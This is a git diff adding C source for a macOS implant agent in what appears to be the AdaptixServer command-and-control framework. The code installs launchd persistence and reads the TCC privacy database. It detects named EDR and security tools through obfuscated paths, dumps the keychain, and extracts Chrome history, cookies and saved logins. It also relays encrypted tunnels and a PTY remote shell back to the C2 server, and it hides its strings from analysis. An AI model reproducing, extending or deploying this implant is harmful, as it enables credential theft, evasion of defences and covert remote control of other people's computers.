"\tKeepAlive\n\t\n" + "\n\n"); + + int fd = R_open(plist_path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + buf_free(&out); + write_error(w, "cannot write plist"); + return 0; + } + R_write(fd, plist, ax_strlen(plist)); + R_close(fd); + + DEOBF(launchctl_path, OBF_LAUNCHCTL); + char* argv[] = { "launchctl", "load", "-w", plist_path, NULL }; + run_capture_buf(launchctl_path, argv, &out); + ZERO_STR(launchctl_path, OBF_LAUNCHCTL); + + char msg[1200]; + ax_strcpy(msg, "Installed: "); + ax_strcat(msg, plist_path); + ax_strcat(msg, "\n"); + buf_append(&out, (uint8_t*)msg, ax_strlen(msg)); + } else if (ax_strcmp(action, "remove") == 0) { + char plist_path[1024]; + if (ax_strcmp(method, "launchdaemon") == 0) { + DEOBF(ld_path, OBF_LAUNCH_DAEMONS); + ax_strcpy(plist_path, ld_path); + ax_strcat(plist_path, "/"); + ZERO_STR(ld_path, OBF_LAUNCH_DAEMONS); + } else { + const char* home = R_getenv("HOME"); + DEOBF(tmp_path, OBF_TMP); + if (!home) home = tmp_path; + ax_strcpy(plist_path, home); + ax_strcat(plist_path, "/"); + DEOBF(la_path, OBF_LAUNCH_AGENTS); + ax_strcat(plist_path, la_path); + ax_strcat(plist_path, "/"); + ZERO_STR(la_path, OBF_LAUNCH_AGENTS); + ZERO_STR(tmp_path, OBF_TMP); + } + ax_strcat(plist_path, name); + ax_strcat(plist_path, ".plist"); + + DEOBF(launchctl_path, OBF_LAUNCHCTL); + char* argv[] = { "launchctl", "unload", "-w", plist_path, NULL }; + run_capture_buf(launchctl_path, argv, &out); + ZERO_STR(launchctl_path, OBF_LAUNCHCTL); + R_unlink(plist_path); + + char msg[1200]; + ax_strcpy(msg, "Removed: "); + ax_strcat(msg, plist_path); + buf_append(&out, (uint8_t*)msg, ax_strlen(msg)); + } else { + buf_free(&out); + write_error(w, "unknown persist action"); + return 0; + } + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_tcc_check(mp_writer_t* w) { + buffer_t out; + buf_init(&out, 4096); + + const char* home = R_getenv("HOME"); + char db_path[1024]; + DEOBF(tcc_db, OBF_TCC_DB); + if (home) { + ax_strcpy(db_path, home); + ax_strcat(db_path, "/Library/Application Support/com.apple.TCC/TCC.db"); + } else { + ax_strcpy(db_path, tcc_db); + } + ZERO_STR(tcc_db, OBF_TCC_DB); + + DEOBF(sqlite3_path, OBF_SQLITE3); + char* argv[] = { "sqlite3", db_path, "SELECT service,client,auth_value FROM access;", NULL }; + int ret = run_capture_buf(sqlite3_path, argv, &out); + + if (ret != 0 || out.len == 0) { + buf_reset(&out); + DEOBF(tcc_db2, OBF_TCC_DB); + char* argv2[] = { "sqlite3", tcc_db2, + "SELECT service,client,auth_value FROM access;", NULL }; + run_capture_buf(sqlite3_path, argv2, &out); + ZERO_STR(tcc_db2, OBF_TCC_DB); + } + ZERO_STR(sqlite3_path, OBF_SQLITE3); + + if (out.len == 0) { + buf_free(&out); + mp_write_map(w, 1); + mp_write_kv_str(w, "output", "TCC database not readable (requires FDA)"); + return 0; + } + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_defaults_read(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char domain[256] = {0}; + parse_string_field(data, data_len, "domain", domain, sizeof(domain)); + + buffer_t out; + buf_init(&out, 4096); + + DEOBF(defaults_path, OBF_DEFAULTS); + if (domain[0] != '\0') { + char* argv[] = { "defaults", "read", domain, NULL }; + run_capture_buf(defaults_path, argv, &out); + } else { + char* argv[] = { "defaults", "read", NULL }; + run_capture_buf(defaults_path, argv, &out); + } + ZERO_STR(defaults_path, OBF_DEFAULTS); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_edr_check(mp_writer_t* w) { + buffer_t out; + buf_init(&out, 4096); + + // EDR paths — decode each from OBF, check, zero + const uint8_t* edr_obf[] = { + OBF_EDR_CS_FALCONCTL, OBF_EDR_CS_FALCON, OBF_EDR_ADDIGY, + OBF_EDR_MALWAREBYTES, OBF_EDR_JAMF, OBF_EDR_S1_APP, + OBF_EDR_S1_LIB, OBF_EDR_ES_KEXT, OBF_EDR_SOPHOS, + OBF_EDR_ELASTIC, OBF_EDR_BLOCKBLOCK, OBF_EDR_LULU, + OBF_EDR_KNOCKKNOCK, OBF_EDR_REIKEY, OBF_EDR_XPROTECT, + }; + const int edr_sizes[] = { + sizeof(OBF_EDR_CS_FALCONCTL), sizeof(OBF_EDR_CS_FALCON), sizeof(OBF_EDR_ADDIGY), + sizeof(OBF_EDR_MALWAREBYTES), sizeof(OBF_EDR_JAMF), sizeof(OBF_EDR_S1_APP), + sizeof(OBF_EDR_S1_LIB), sizeof(OBF_EDR_ES_KEXT), sizeof(OBF_EDR_SOPHOS), + sizeof(OBF_EDR_ELASTIC), sizeof(OBF_EDR_BLOCKBLOCK), sizeof(OBF_EDR_LULU), + sizeof(OBF_EDR_KNOCKKNOCK), sizeof(OBF_EDR_REIKEY), sizeof(OBF_EDR_XPROTECT), + }; + const char* edr_names[] = { + "CrowdStrike Falcon (falconctl)", "CrowdStrike Falcon (support dir)", + "Addigy", "Malwarebytes", "Jamf", "SentinelOne Agent", + "SentinelOne (sentinel-agent)", "EndpointSecurity kext", "Sophos", + "Elastic Endpoint", "BlockBlock (Objective-See)", "LuLu (Objective-See)", + "KnockKnock (Objective-See)", "ReiKey (Objective-See)", "XProtect / Apple HV", + }; + + for (int i = 0; i < 15; i++) { + char path_buf[256]; + xor_decode(path_buf, edr_obf[i], edr_sizes[i] - 1); + + struct stat st; + if (R_stat(path_buf, &st) == 0) { + char line[256]; + ax_strcpy(line, "[FOUND] "); + ax_strcat(line, edr_names[i]); + ax_strcat(line, "\n"); + buf_append(&out, (uint8_t*)line, ax_strlen(line)); + } + + volatile char* vp = (volatile char*)path_buf; + for (int j = 0; j < (int)sizeof(path_buf); j++) vp[j] = 0; + } + + // Check running processes + DEOBF(ps_path, OBF_PS); + char* argv[] = { "ps", "aux", NULL }; + buffer_t ps_out; + buf_init(&ps_out, 8192); + run_capture_buf(ps_path, argv, &ps_out); + ZERO_STR(ps_path, OBF_PS); + + char nul = '\0'; + buf_append(&ps_out, (uint8_t*)&nul, 1); + + const char* known_procs[] = { + "falcond", "falcon-sensor", + "SentinelAgent", + "elastic-agent", + "sophosd", + "jamfdaemon", "jamf", + NULL + }; + + for (int i = 0; known_procs[i]; i++) { + if (ax_strstr((const char*)ps_out.data, known_procs[i])) { + char line[256]; + ax_strcpy(line, "[RUNNING] "); + ax_strcat(line, known_procs[i]); + ax_strcat(line, "\n"); + buf_append(&out, (uint8_t*)line, ax_strlen(line)); + } + } + buf_free(&ps_out); + + if (out.len == 0) { + buf_append(&out, (uint8_t*)"No EDR products detected\n", 25); + } + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_keychain(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char action[32] = {0}; + parse_string_field(data, data_len, "action", action, sizeof(action)); + + buffer_t out; + buf_init(&out, 4096); + + DEOBF(security_path, OBF_SECURITY_BIN); + if (ax_strcmp(action, "list") == 0) { + char* argv[] = { "security", "list-keychains", NULL }; + run_capture_buf(security_path, argv, &out); + } else if (ax_strcmp(action, "dump") == 0) { + char* argv[] = { "security", "dump-keychain", "-d", NULL }; + run_capture_buf(security_path, argv, &out); + } else { + ZERO_STR(security_path, OBF_SECURITY_BIN); + buf_free(&out); + write_error(w, "unknown keychain action"); + return 0; + } + ZERO_STR(security_path, OBF_SECURITY_BIN); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_browser_dump(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char browser[32] = {0}, target[32] = {0}; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + const char* v; uint32_t vl; + if (kl == 7 && ax_memcmp(k, "browser", 7) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(browser)) { ax_memcpy(browser, v, vl); browser[vl] = '\0'; } + } else if (kl == 6 && ax_memcmp(k, "target", 6) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(target)) { ax_memcpy(target, v, vl); target[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + const char* home = R_getenv("HOME"); + DEOBF(tmp_path, OBF_TMP); + if (!home) home = tmp_path; + + buffer_t out; + buf_init(&out, 4096); + + if (ax_strcmp(browser, "chrome") == 0) { + DEOBF(chrome_default, OBF_CHROME_DEFAULT); + char base_path[1024]; + ax_strcpy(base_path, home); + ax_strcat(base_path, "/"); + ax_strcat(base_path, chrome_default); + ZERO_STR(chrome_default, OBF_CHROME_DEFAULT); + + DEOBF(sqlite3_path, OBF_SQLITE3); + if (target[0] == '\0') { + DEOBF(ls_path, OBF_LS); + char* argv[] = { "ls", "-la", base_path, NULL }; + run_capture_buf(ls_path, argv, &out); + ZERO_STR(ls_path, OBF_LS); + } else if (ax_strcmp(target, "history") == 0) { + char db_path[1100]; + ax_strcpy(db_path, base_path); + ax_strcat(db_path, "History"); + char* argv[] = { "sqlite3", db_path, + "SELECT url, title, datetime(last_visit_time/1000000-11644473600,'unixepoch') FROM urls ORDER BY last_visit_time DESC LIMIT 100;", + NULL }; + run_capture_buf(sqlite3_path, argv, &out); + } else if (ax_strcmp(target, "cookies") == 0) { + char db_path[1100]; + ax_strcpy(db_path, base_path); + ax_strcat(db_path, "Cookies"); + char* argv[] = { "sqlite3", db_path, + "SELECT host_key, name, path FROM cookies LIMIT 200;", + NULL }; + run_capture_buf(sqlite3_path, argv, &out); + } else if (ax_strcmp(target, "logins") == 0) { + char db_path[1100]; + ax_strcpy(db_path, base_path); + ax_strcat(db_path, "Login Data"); + char* argv[] = { "sqlite3", db_path, + "SELECT origin_url, username_value FROM logins;", + NULL }; + run_capture_buf(sqlite3_path, argv, &out); + } + ZERO_STR(sqlite3_path, OBF_SQLITE3); + } else if (ax_strcmp(browser, "firefox") == 0) { + DEOBF(firefox_profiles, OBF_FIREFOX_COOKIES); + char profiles_path[1024]; + ax_strcpy(profiles_path, home); + ax_strcat(profiles_path, "/"); + ax_strcat(profiles_path, firefox_profiles); + ZERO_STR(firefox_profiles, OBF_FIREFOX_COOKIES); + + if (target[0] == '\0') { + DEOBF(ls_path, OBF_LS); + char* argv[] = { "ls", "-la", profiles_path, NULL }; + run_capture_buf(ls_path, argv, &out); + ZERO_STR(ls_path, OBF_LS); + } else { + char msg[] = "Firefox data extraction requires profile discovery (not yet implemented)\n"; + buf_append(&out, (uint8_t*)msg, ax_strlen(msg)); + } + } else { + ZERO_STR(tmp_path, OBF_TMP); + buf_free(&out); + write_error(w, "unknown browser"); + return 0; + } + + ZERO_STR(tmp_path, OBF_TMP); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h new file mode 100644 index 000000000..709a95f8f --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h @@ -0,0 +1,16 @@ +#ifndef TASKS_MACOS_H +#define TASKS_MACOS_H + +#include "msgpack.h" +#include + +int task_screenshot(mp_writer_t* w); +int task_clipboard(mp_writer_t* w); +int task_persist(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tcc_check(mp_writer_t* w); +int task_defaults_read(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_edr_check(mp_writer_t* w); +int task_keychain(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_browser_dump(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_MACOS_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c new file mode 100644 index 000000000..a7a9e1e3c --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c @@ -0,0 +1,860 @@ +#include "tasks_net.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +static void _dbg_hex(const char* prefix, const uint8_t* data, size_t len) { + // Print prefix + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + // Print hex bytes (max 32) + size_t show = len < 32 ? len : 32; + static const char hx[] = "0123456789abcdef"; + for (size_t i = 0; i < show; i++) { + char pair[3]; + pair[0] = hx[(data[i] >> 4) & 0xF]; + pair[1] = hx[data[i] & 0xF]; + pair[2] = ' '; + sys_write(2, pair, 3); + } + sys_write(2, "\n", 1); +} +static void _dbg_int(const char* prefix, int64_t val) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + char nbuf[24]; + int ni = 0; + uint64_t uv; + if (val < 0) { sys_write(2, "-", 1); uv = (uint64_t)(-val); } + else uv = (uint64_t)val; + do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0); + while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); } + sys_write(2, "\n", 1); +} +#else +#define _dbg(msg) ((void)0) +#define _dbg_hex(prefix, data, len) ((void)0) +#define _dbg_int(prefix, val) ((void)0) +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// Parse channel_id from tunnel command params +static int parse_channel_id(const uint8_t* data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + // Reset reader and try int + mp_reader_init(&r, data, data_len); + mp_read_map(&r, &mc); + for (uint32_t j = 0; j <= i; j++) { + const char* k2; uint32_t kl2; + mp_read_str(&r, &k2, &kl2); + if (j < i) mp_skip(&r); + } + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +// ── Tunnel ── +// Go: ParamsTunnelStart{Proto string, ChannelId int, Address string} +// Spawns thread → opens connections to target AND C2 → bidirectional AES-CTR relay + +#define TUNNEL_BUF_SIZE (32 * 1024) // 32KB relay buffer + +typedef struct { + int tunnel_idx; + int channel_id; + char proto[8]; // "tcp" or "udp" + char address[256]; // target address "host:port" +} tunnel_args_t; + +// Connect to target address +static int tunnel_connect_target(const char* proto, const char* address, int* out_fd) { + // Parse host:port + char host[256] = {0}; + uint16_t port = 0; + const char* colon = (const char*)0; + for (const char* p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + size_t hlen = (size_t)(colon - address); + if (hlen >= sizeof(host)) return -1; + ax_memcpy(host, address, hlen); + host[hlen] = '\0'; + + const char* p = colon + 1; + while (*p >= '0' && *p <= '9') { + port = port * 10 + (uint16_t)(*p - '0'); + p++; + } + + int sock_type = SOCK_STREAM; + if (ax_strcmp(proto, "udp") == 0) sock_type = SOCK_DGRAM; + + struct addrinfo hints, *result; + ax_memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_INET; + hints.ai_socktype = sock_type; + + char port_str[8]; + ax_itoa(port, port_str, 10); + + if (R_getaddrinfo(host, port_str, &hints, &result) != 0) + return -1; + + int fd = R_socket(result->ai_family, result->ai_socktype, result->ai_protocol); + if (fd < 0) { + R_freeaddrinfo(result); + return -1; + } + + // Set connect timeout ~200ms via non-blocking + select + R_fcntl(fd, F_SETFL, O_NONBLOCK); + int cr = R_connect(fd, result->ai_addr, result->ai_addrlen); + R_freeaddrinfo(result); + + if (cr < 0 && errno != EINPROGRESS) { + R_close(fd); + return -1; + } + + if (cr < 0) { + // Wait for connection with timeout + fd_set wfds; + FD_ZERO(&wfds); + FD_SET(fd, &wfds); + struct timeval tv = { .tv_sec = 0, .tv_usec = 200000 }; // 200ms + + int sr = R_select(fd + 1, (void*)0, &wfds, (void*)0, &tv); + if (sr <= 0) { + R_close(fd); + return -1; + } + + // Check for connection error + int err = 0; + socklen_t errlen = sizeof(err); + R_getsockopt(fd, SOL_SOCKET, SO_ERROR, &err, &errlen); + if (err != 0) { + R_close(fd); + return -1; + } + } + + // Set back to blocking + int flags = R_fcntl(fd, F_GETFL, 0); + R_fcntl(fd, F_SETFL, flags & ~O_NONBLOCK); + + *out_fd = fd; + return 0; +} + +static void* tunnel_thread(void* arg) { + tunnel_args_t* targs = (tunnel_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + + R_pthread_mutex_lock(&ctx->tunnels_mutex); + tunnel_entry_t* tun = &ctx->tunnels[targs->tunnel_idx]; + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + + // Connect to target + int alive = 1; + uint8_t reason = 0; + + if (tunnel_connect_target(targs->proto, targs->address, &tun->client_fd) != 0) { + alive = 0; + reason = 5; // ECONNREFUSED (generic failure) + tun->client_fd = -1; + } + + // Open connection to C2 + if (jobs_open_connection(ctx, &tun->srv_conn) != 0) { + if (tun->client_fd >= 0) R_close(tun->client_fd); + tun->active = 0; + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; + } + + // Generate per-tunnel AES keys + uint8_t tun_key[16], tun_iv[16]; + ax_random_bytes(tun_key, 16); + ax_random_bytes(tun_iv, 16); + + _dbg("[TUNNEL] === tunnel_thread start ==="); + _dbg_int("[TUNNEL] channel_id=", targs->channel_id); + _dbg_int("[TUNNEL] alive=", alive); + _dbg_hex("[TUNNEL] key=", tun_key, 16); + _dbg_hex("[TUNNEL] iv=", tun_iv, 16); + + // Send TunnelPack init + mp_writer_t pack_w; + mp_writer_init(&pack_w, 256); + mp_write_map(&pack_w, 6); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_int(&pack_w, "channel_id", targs->channel_id); + mp_write_kv_bin(&pack_w, "key", tun_key, 16); + mp_write_kv_bin(&pack_w, "iv", tun_iv, 16); + mp_write_kv_bool(&pack_w, "alive", alive ? true : false); + + // Add reason field + mp_writer_t pack_w2; + mp_writer_init(&pack_w2, pack_w.buf.len + 32); + // Rewrite with 7 fields to include reason + mp_write_map(&pack_w2, 7); + mp_write_kv_uint(&pack_w2, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w2, "type", ctx->profile_type); + mp_write_kv_int(&pack_w2, "channel_id", targs->channel_id); + mp_write_kv_bin(&pack_w2, "key", tun_key, 16); + mp_write_kv_bin(&pack_w2, "iv", tun_iv, 16); + mp_write_kv_bool(&pack_w2, "alive", alive ? true : false); + mp_write_kv_uint(&pack_w2, "reason", reason); + mp_writer_free(&pack_w); + + _dbg_int("[TUNNEL] TunnelPack msgpack size=", (int64_t)pack_w2.buf.len); + _dbg_hex("[TUNNEL] TunnelPack first 32 bytes=", pack_w2.buf.data, pack_w2.buf.len < 32 ? pack_w2.buf.len : 32); + + if (jobs_send_init(ctx, &tun->srv_conn, JOB_TUNNEL, + pack_w2.buf.data, (uint32_t)pack_w2.buf.len) != 0) { + mp_writer_free(&pack_w2); + if (tun->client_fd >= 0) R_close(tun->client_fd); + conn_close(&tun->srv_conn); + tun->active = 0; + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w2); + + if (!alive) { + conn_close(&tun->srv_conn); + tun->active = 0; + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; + } + + // Set up AES-CTR streams with context (preserves partial block state) + // Server → Client: decrypt with tunKey/tunIv + // Client → Server: encrypt with tunKey/tunIv + aes128_ctr_ctx_t dec_ctx, enc_ctx; + aes128_ctr_init(&dec_ctx, tun_key, tun_iv); + aes128_ctr_init(&enc_ctx, tun_key, tun_iv); + + // Zero key material + ax_memset(tun_key, 0, 16); + ax_memset(tun_iv, 0, 16); + + _dbg("[TUNNEL] AES-CTR setup done, entering relay loop"); + _dbg_hex("[TUNNEL] dec_ctr (initial)=", dec_ctx.counter, 16); + _dbg_hex("[TUNNEL] enc_ctr (initial)=", enc_ctx.counter, 16); + _dbg_int("[TUNNEL] srv_fd=", tun->srv_conn.fd); + _dbg_int("[TUNNEL] client_fd=", tun->client_fd); + + // Bidirectional relay loop using select() + uint8_t* buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + uint8_t* enc_buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + + int srv_fd = tun->srv_conn.fd; + int _dbg_relay_count = 0; + + while (!tun->canceled) { + fd_set rfds; + FD_ZERO(&rfds); + FD_SET(srv_fd, &rfds); + if (!tun->paused) + FD_SET(tun->client_fd, &rfds); + + int maxfd = srv_fd > tun->client_fd ? srv_fd : tun->client_fd; + struct timeval tv = { .tv_sec = 0, .tv_usec = 500000 }; // 500ms timeout + + int sr = R_select(maxfd + 1, &rfds, (void*)0, (void*)0, &tv); + if (sr < 0) break; + if (sr == 0) continue; // timeout, check canceled + + // Server → Client (decrypt) + if (FD_ISSET(srv_fd, &rfds)) { + ssize_t n = R_read(srv_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) { + _dbg_int("[TUNNEL] srv_fd read returned n=", (int64_t)n); + break; + } + + if (_dbg_relay_count < 5) { + _dbg("[TUNNEL] --- SRV->CLIENT ---"); + _dbg_int("[TUNNEL] read n=", (int64_t)n); + _dbg_hex("[TUNNEL] ciphertext (from srv)=", buf, (size_t)n < 32 ? (size_t)n : 32); + _dbg_hex("[TUNNEL] dec_ctr=", dec_ctx.counter, 16); + _dbg_int("[TUNNEL] dec_ks_offset=", dec_ctx.ks_offset); + } + + // Decrypt with AES-CTR + aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n); + + if (_dbg_relay_count < 5) { + _dbg_hex("[TUNNEL] plaintext (to client)=", enc_buf, (size_t)n < 32 ? (size_t)n : 32); + } + + // Write to client + size_t written = 0; + while (written < (size_t)n) { + ssize_t w = R_write(tun->client_fd, enc_buf + written, (size_t)n - written); + if (w <= 0) goto cleanup; + written += (size_t)w; + } + } + + // Client → Server (encrypt) + if (!tun->paused && FD_ISSET(tun->client_fd, &rfds)) { + ssize_t n = R_read(tun->client_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) { + _dbg_int("[TUNNEL] client_fd read returned n=", (int64_t)n); + break; + } + + if (_dbg_relay_count < 5) { + _dbg("[TUNNEL] --- CLIENT->SRV ---"); + _dbg_int("[TUNNEL] read n=", (int64_t)n); + _dbg_hex("[TUNNEL] plaintext (from client)=", buf, (size_t)n < 32 ? (size_t)n : 32); + _dbg_hex("[TUNNEL] enc_ctr=", enc_ctx.counter, 16); + _dbg_int("[TUNNEL] enc_ks_offset=", enc_ctx.ks_offset); + } + + // Encrypt with AES-CTR + aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n); + + if (_dbg_relay_count < 5) { + _dbg_hex("[TUNNEL] ciphertext (to srv)=", enc_buf, (size_t)n < 32 ? (size_t)n : 32); + _dbg_relay_count++; + } + + // Write to server + size_t written = 0; + while (written < (size_t)n) { + ssize_t w = R_write(srv_fd, enc_buf + written, (size_t)n - written); + if (w <= 0) goto cleanup; + written += (size_t)w; + } + } + } + +cleanup: + _dbg("[TUNNEL] === tunnel_thread cleanup ==="); + _dbg_int("[TUNNEL] relay iterations (first 5 logged)=", (int64_t)_dbg_relay_count); + + ax_free(buf, TUNNEL_BUF_SIZE); + ax_free(enc_buf, TUNNEL_BUF_SIZE); + ax_memset(&dec_ctx, 0, sizeof(dec_ctx)); + ax_memset(&enc_ctx, 0, sizeof(enc_ctx)); + + if (tun->client_fd >= 0) R_close(tun->client_fd); + conn_close(&tun->srv_conn); + + R_pthread_mutex_lock(&ctx->tunnels_mutex); + tun->active = 0; + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; +} + +int task_tunnel_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsTunnelStart{Proto, ChannelId, Address} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char proto[8] = {0}; + int channel_id = -1; + char address[256] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 5 && ax_memcmp(k, "proto", 5) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(proto)) { ax_memcpy(proto, v, vl); proto[vl] = '\0'; } + } else if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) channel_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "address", 7) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(address)) { ax_memcpy(address, v, vl); address[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + if (proto[0] == '\0' || channel_id < 0 || address[0] == '\0') { + write_error(w, "missing tunnel params"); + return 0; + } + + job_context_t* ctx = &g_job_ctx; + + // Allocate tunnel slot + R_pthread_mutex_lock(&ctx->tunnels_mutex); + int idx = -1; + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) { + idx = i; + ax_memset(&ctx->tunnels[i], 0, sizeof(tunnel_entry_t)); + ctx->tunnels[i].srv_conn.fd = -1; + ctx->tunnels[i].client_fd = -1; + ctx->tunnels[i].channel_id = channel_id; + ctx->tunnels[i].active = 1; + break; + } + } + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + + if (idx < 0) { write_error(w, "max tunnels reached"); return 0; } + + // Prepare thread args + tunnel_args_t* targs = (tunnel_args_t*)ax_malloc(sizeof(tunnel_args_t)); + targs->tunnel_idx = idx; + targs->channel_id = channel_id; + ax_strncpy(targs->proto, proto, sizeof(targs->proto) - 1); + ax_strncpy(targs->address, address, sizeof(targs->address) - 1); + + R_pthread_create(&ctx->tunnels[idx].thread, (void*)0, tunnel_thread, targs); + R_pthread_detach(ctx->tunnels[idx].thread); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel starting"); + return 0; +} + +int task_tunnel_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + int idx = tunnels_find(&g_job_ctx, ch_id); + if (idx < 0) { write_error(w, "tunnel not found"); return 0; } + + g_job_ctx.tunnels[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel stopped"); + return 0; +} + +int task_tunnel_pause(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + int idx = tunnels_find(&g_job_ctx, ch_id); + if (idx < 0) { write_error(w, "tunnel not found"); return 0; } + + g_job_ctx.tunnels[idx].paused = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel paused"); + return 0; +} + +int task_tunnel_resume(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + int idx = tunnels_find(&g_job_ctx, ch_id); + if (idx < 0) { write_error(w, "tunnel not found"); return 0; } + + g_job_ctx.tunnels[idx].paused = 0; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel resumed"); + return 0; +} + +// ── Terminal ── +// Go: ParamsTerminalStart{TermId int, Program string, Width int, Height int} +// Spawns thread → opens PTY → connects to C2 → bidirectional AES-CTR relay + +// PTY helper: fork with pseudo-terminal +static int pty_fork(const char* program, int width, int height, int* master_fd, int* child_pid_out) { + int master = R_posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0) return -1; + + if (R_grantpt(master) != 0 || R_unlockpt(master) != 0) { + R_close(master); + return -1; + } + + char* slave_name = R_ptsname(master); + if (!slave_name) { + R_close(master); + return -1; + } + + int pid = R_fork(); + if (pid < 0) { + R_close(master); + return -1; + } + + if (pid == 0) { + // Child + R_close(master); + R_setsid(); + + int slave = R_open(slave_name, O_RDWR, 0); + if (slave < 0) 